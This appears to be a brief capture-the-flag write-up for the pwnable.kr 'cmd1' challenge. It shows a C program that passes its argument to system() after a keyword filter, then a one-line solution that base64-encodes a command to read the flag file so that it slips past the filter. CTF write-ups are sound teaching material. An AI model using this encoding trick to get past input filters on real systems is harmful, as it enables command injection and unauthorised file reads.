Pwnable.kr Cmd1

Last updated Aug 20, 2022 Edit Source

Cs security

This one is easy, we get the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

It clears the PATH environ so that we can’t just run cat but we can simply pass absolute paths and bypass that. It also applies some filters so that we can’t use flag sh or tmp in our payload. But we can just base64 encode our payload and run base64 -d.

1
./cmd1 '$(printf "L2Jpbi9jYXQgL2hvbWUvY21kMS9mbGFn" | /usr/bin/base64 -d)'

Neocortex 🧠

Pwnable.kr Cmd1

Backlinks

Interactive Graph